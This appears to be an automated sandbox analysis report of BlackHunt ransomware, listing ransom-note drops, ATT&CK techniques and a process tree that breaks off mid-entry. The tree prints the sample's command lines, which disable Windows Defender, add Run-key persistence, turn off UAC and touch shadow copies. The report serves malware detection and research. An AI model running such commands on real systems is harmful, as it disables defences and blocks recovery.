File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Novosibirsk	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.servlet_8.1.14.v20131031.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-javahelp.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvSOFT.x3d	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\soniccolorconverter.ax	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_ja.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\epl-v10.html	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Ndjamena	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\1047x576black.png	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Chagos	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Macquarie	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-print.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_ja.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\dnsns.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_zh_CN.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Montreal	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Copenhagen	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.properties	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1976	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1704	vssadmin.exe
3336	vssadmin.exe
2644	vssadmin.exe
2260	vssadmin.exe
1060	vssadmin.exe
2112	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1088	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1280	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeRestorePrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeBackupPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeTakeOwnershipPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeAuditPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeSecurityPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeIncBasePriorityPrivilege	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeBackupPrivilege	2040	vssvc.exe
Token: SeRestorePrivilege	2040	vssvc.exe
Token: SeAuditPrivilege	2040	vssvc.exe
Token: SeBackupPrivilege	1996	wbengine.exe
Token: SeRestorePrivilege	1996	wbengine.exe
Token: SeSecurityPrivilege	1996	wbengine.exe
Token: SeSecurityPrivilege	3096	wevtutil.exe
Token: SeBackupPrivilege	3096	wevtutil.exe
Token: SeSecurityPrivilege	1324	wevtutil.exe
Token: SeBackupPrivilege	1324	wevtutil.exe
Token: SeSecurityPrivilege	596	wevtutil.exe
Token: SeSecurityPrivilege	2860	wevtutil.exe
Token: SeSecurityPrivilege	2176	wevtutil.exe
Token: SeBackupPrivilege	596	wevtutil.exe
Token: SeBackupPrivilege	2860	wevtutil.exe
Token: SeBackupPrivilege	2176	wevtutil.exe
Token: SeDebugPrivilege	1088	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 2816	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	29
PID 2880 wrote to memory of 2816	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	29
PID 2880 wrote to memory of 2816	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	29
PID 2880 wrote to memory of 2816	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	29
PID 2880 wrote to memory of 2836	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	31
PID 2880 wrote to memory of 2836	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	31
PID 2880 wrote to memory of 2836	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	31
PID 2880 wrote to memory of 2836	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	31
PID 2880 wrote to memory of 2764	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2880 wrote to memory of 2764	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2880 wrote to memory of 2764	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2880 wrote to memory of 2764	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2880 wrote to memory of 2756	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	35
PID 2880 wrote to memory of 2756	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	35
PID 2880 wrote to memory of 2756	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	35
PID 2880 wrote to memory of 2756	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	35
PID 2836 wrote to memory of 2164	2836	cmd.exe	37
PID 2836 wrote to memory of 2164	2836	cmd.exe	37
PID 2836 wrote to memory of 2164	2836	cmd.exe	37
PID 2816 wrote to memory of 2856	2816	cmd.exe	38
PID 2816 wrote to memory of 2856	2816	cmd.exe	38
PID 2816 wrote to memory of 2856	2816	cmd.exe	38
PID 2880 wrote to memory of 2768	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	39
PID 2880 wrote to memory of 2768	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	39
PID 2880 wrote to memory of 2768	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	39
PID 2880 wrote to memory of 2768	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	39
PID 2880 wrote to memory of 2920	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	41
PID 2880 wrote to memory of 2920	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	41
PID 2880 wrote to memory of 2920	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	41
PID 2880 wrote to memory of 2920	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	41
PID 2880 wrote to memory of 2632	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	42
PID 2880 wrote to memory of 2632	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	42
PID 2880 wrote to memory of 2632	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	42
PID 2880 wrote to memory of 2632	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	42
PID 2764 wrote to memory of 2772	2764	reg.exe	45
PID 2764 wrote to memory of 2772	2764	reg.exe	45
PID 2764 wrote to memory of 2772	2764	reg.exe	45
PID 2756 wrote to memory of 2780	2756	cmd.exe	44
PID 2756 wrote to memory of 2780	2756	cmd.exe	44
PID 2756 wrote to memory of 2780	2756	cmd.exe	44
PID 2880 wrote to memory of 2660	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	46
PID 2880 wrote to memory of 2660	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	46
PID 2880 wrote to memory of 2660	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	46
PID 2880 wrote to memory of 2660	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	46
PID 2880 wrote to memory of 1088	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	48
PID 2880 wrote to memory of 1088	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	48
PID 2880 wrote to memory of 1088	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	48
PID 2880 wrote to memory of 1088	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	48
PID 2880 wrote to memory of 2620	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	51
PID 2880 wrote to memory of 2620	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	51
PID 2880 wrote to memory of 2620	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	51
PID 2880 wrote to memory of 2620	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	51
PID 2880 wrote to memory of 2680	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	53
PID 2880 wrote to memory of 2680	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	53
PID 2880 wrote to memory of 2680	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	53
PID 2880 wrote to memory of 2680	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	53
PID 2880 wrote to memory of 2152	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	54
PID 2880 wrote to memory of 2152	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	54
PID 2880 wrote to memory of 2152	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	54
PID 2880 wrote to memory of 2152	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	54
PID 2880 wrote to memory of 1188	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	56
PID 2880 wrote to memory of 1188	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	56
PID 2880 wrote to memory of 1188	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	56
PID 2880 wrote to memory of 1188	2880	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
"C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
